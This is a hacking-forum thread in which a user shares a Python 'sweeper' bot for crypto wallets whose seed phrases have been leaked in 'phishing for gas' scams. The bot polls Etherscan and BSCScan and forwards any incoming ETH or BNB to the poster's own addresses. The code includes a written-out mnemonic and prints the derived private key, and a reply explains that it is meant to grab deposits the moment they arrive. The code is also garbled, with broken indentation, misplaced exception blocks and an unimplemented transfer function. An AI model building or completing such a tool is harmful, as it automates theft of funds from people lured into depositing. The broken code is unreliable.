

Forum:[Hack Forums](#)

Thread: [Phishing for Gas ? \(Simple Python Script \)](#)

Net Runner - April 9, 2024, 4:26 am

I ran into someone spreading seed keys around and it got me curious so i checked out the wallet and they where "phishing for gas " which i thought was hilarious so i put a quick script together

It just checks the wallet balance and incoming transactions and if it is triggered it sends the entire new balance to your wallet

i am sure this could be added to for more in depth experiments

Code import requests

from bs4 import BeautifulSoup

from eth_account import Account

import logging

import time

Initialize logging

logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

Enable Mnemonic features

Account.enable_unaudited_hdwallet_features()

Constants

ETHERSCAN_API_KEY = 'YOUR API KEY ' # Your Etherscan API Key

BSC_EXPLORER_URL = 'https://bscscan.com/txsPending' # Binance Smart Chain pending transactions URL

ETH_SAFE_ADDRESS = 'YOUR ETH ADDRESS' # Ethereum safe address

BNB_SAFE_ADDRESS = 'YOUR BNB ADDRESS' # Binance Smart Chain safe address

Function to check for pending transactions on Binance Smart Chain using BSCScan

def check_pending_bsc_transactions():

try:

print("Checking for pending transactions on BSC...")

response = requests.get(BSC_EXPLORER_URL)

soup = BeautifulSoup(response.text, 'html.parser')

pending_tx_table = soup.find('table', id='tb1')

if not pending_tx_table:

print("No pending transactions found on BSC.")

return []

pending_tx_rows = pending_tx_table.find_all('tr')

pending_tx_list = []

for row in pending_tx_rows[1:]: # Skip header row

cells = row.find_all('td')

tx_hash = cells[0].text.strip()

from_address = cells[2].text.strip()

to_address = cells[4].text.strip()

```

        value = cells[6].text.strip()
        pending_tx_list.append({'tx_hash': tx_hash, 'from_address': from_address, 'to_address':
to_address, 'value': value})
        return pending_tx_list
    except Exception as e:
        print(f"Error occurred while fetching pending transactions on BSC: {e}")
        return []

# Function to check for incoming transactions on Ethereum using Etherscan API
def check_incoming_eth_transactions(address):
    try:
        print(f"Checking for incoming transactions on Ethereum for address: {address}")
        url =
f'https://api.etherscan.io/api?module=account&action=txlist&address={address}&apikey={ETHERSCAN_API_KEY}'
        response = requests.get(url)
        data = response.json()
        if data['status'] == '1':
            return data['result']
        else:
            print(f"Etherscan API error: {data['message']}")
            return []
    except Exception as e:
        print(f"Error occurred while fetching Ethereum transactions: {e}")
        return []

# Function to check the balance of Ethereum address using Etherscan API
def check_eth_balance(address):
    try:
        print(f"Checking Ethereum balance for address: {address}")
        url =
f'https://api.etherscan.io/api?module=account&action=balance&address={address}&tag=latest&apikey={ETHERSCAN_API_KEY}'
        response = requests.get(url)
        data = response.json()
        if data['status'] == '1':
            return int(data['result'])
        else:
            print(f"Etherscan API error: {data['message']}")
            return 0
    except Exception as e:
        print(f"Error occurred while checking Ethereum balance: {e}")
        return 0

# Function to log transactions
def log_transaction(tx_hash, amount, timestamp):
    try:
        with open("transactions.txt", "a") as file:
            file.write(f"Transaction Hash: {tx_hash}, Amount: {amount}, Timestamp: {timestamp}\n")
    except Exception as e:
        print(f"Error occurred while logging transaction: {e}")

# Function to send funds to the safe address

```

```

def send_funds_to_safe_address(chain, amount, address):
    try:
        print(f"Sending {amount} {chain} to safe address: {address}")
        # Add code to send funds to the safe address
        # Example: Use Web3 or appropriate library to sign and send transaction
    except Exception as e:
        print(f"Error occurred while sending funds: {e}")

# Main loop
def main():
    try:
        # Define your mnemonic phrase here
        mnemonic = "length whisper flower category grab potato air rebuild blast chicken aim blossom"

        # Derive Ethereum address from mnemonic
        eth_account = Account.from_mnemonic(mnemonic)
        eth_address = eth_account.address
        private_key = eth_account._private_key.hex()

        # Log Ethereum address and private key
        print("Ethereum Address derived from mnemonic:", eth_address)
        print("Private Key derived from mnemonic:", private_key)

        while True:
            try:
                pending_bsc_txs = check_pending_bsc_transactions()
                if pending_bsc_txs:
                    print("Pending transactions on BSC detected:")
                    for tx in pending_bsc_txs:
                        print(f"BSC Transaction Hash: {tx['tx_hash']}, From: {tx['from_address']}, To: {tx['to_address']}, Value: {tx['value']}")
                        send_funds_to_safe_address("Binance Smart Chain", tx['value'], BNB_SAFE_ADDRESS)
                else:
                    print("No pending transactions on BSC detected.")

                # Check for incoming Ethereum transactions
                incoming_eth_txs = check_incoming_eth_transactions(eth_address)
                if incoming_eth_txs:
                    print("Incoming Ethereum transactions detected:")
                    for tx in incoming_eth_txs:
                        print(f"Ethereum Transaction Hash: {tx['hash']}, From: {tx['from']}, To: {tx['to']}, Value: {tx['value']}")
                        send_funds_to_safe_address("Ethereum", tx['value'], ETH_SAFE_ADDRESS)
                else:
                    print("No incoming Ethereum transactions detected.")

                # Check Ethereum balance
                eth_balance = check_eth_balance(eth_address)
                print(f"Ethereum Balance: {eth_balance}")

                print("Waiting for 10 seconds...")
            except Exception as e:
                print(f"Error in main loop: {e}")
    except Exception as e:
        print(f"Error in main function: {e}")

```

```
time.sleep(10)
```

```
except Exception as e:  
    print(f'An error occurred: {e}')  
    time.sleep(10)
```

```
except KeyboardInterrupt:  
    print("Monitoring stopped.")
```

```
if __name__ == "__main__":  
    main()
```

darksmiley0 - April 9, 2024, 4:35 am

.just wanted to ask what does it really do in detail ?

Net Runner - April 9, 2024, 4:39 am

(Apr 9, 2024 04:35 AM)darksmiley0 Wrote: [\[CITE\]](#) .just wanted to ask what does it really do in detail ?

It just checks the wallet its connected to for incoming ETH or BNB and transfers it out to another wallet immediately

people put a large amount of unswappable coins in a wallet with bots like his attached and spread the seed keys so people deposit crypto into the wallet for gas to get the big amount out but a bot like this takes the gas money immediately